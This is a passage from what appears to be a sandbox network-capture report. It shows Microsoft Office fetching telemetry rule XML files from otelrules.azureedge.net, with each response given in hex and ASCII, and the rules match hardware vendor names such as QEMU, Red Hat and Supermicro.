2024-11-20 06:49:05 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:05 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:05 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0cd4e810-101e-0079-148c-3a5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064905Z-r1d97b995777mdbwhC1TEBezag00000008bg00000000khqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:05 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:05 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:05 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d35eaebc-501e-0064-178c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064905Z-185f5d8b95csd4bwhC1NYCq7dc00000009rg00000000emp3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:05 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:05 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:05 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 495def62-b01e-0098-458c-3acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064905Z-185f5d8b95cdcwrthC1NYCy5b800000009ug00000000b0wc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:05 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:06 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:06 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064906Z-185f5d8b95cjbkr4hC1NYCeu2400000009p000000000ffuc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:06 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:06 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:06 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bfe6dbcf-201e-006e-678c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064906Z-r1d97b9957789nh9hC1TEBxha800000008kg00000000cqxz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:06 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:06 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:06 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 41283c59-801e-0015-058c-3af97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064906Z-185f5d8b95crl6swhC1NYC3ueg0000000a2g000000003872 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:06 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:06 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:06 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:06 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 9cb1ed33-701e-0021-398c-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064906Z-185f5d8b95csp6jmhC1NYCwy6s00000009u000000000ab1h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 06:49:06 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:06 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:07 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:07 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064907Z-1777c6cb754lv4cqhC1TEB13us000000094g00000000gyxm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 06:49:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:07 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:07 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 4f8e9926-c01e-00ad-7c8c-3aa2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064907Z-r1d97b9957789nh9hC1TEBxha800000008r0000000002r9k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:07 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:07 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064907Z-185f5d8b95csd4bwhC1NYCq7dc00000009x00000000009qq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:07 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:07 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: cb785bac-301e-0000-6c8c-3aeecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064907Z-1777c6cb754gc8g6hC1TEB966c000000099g0000000038zt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:07 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:07 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
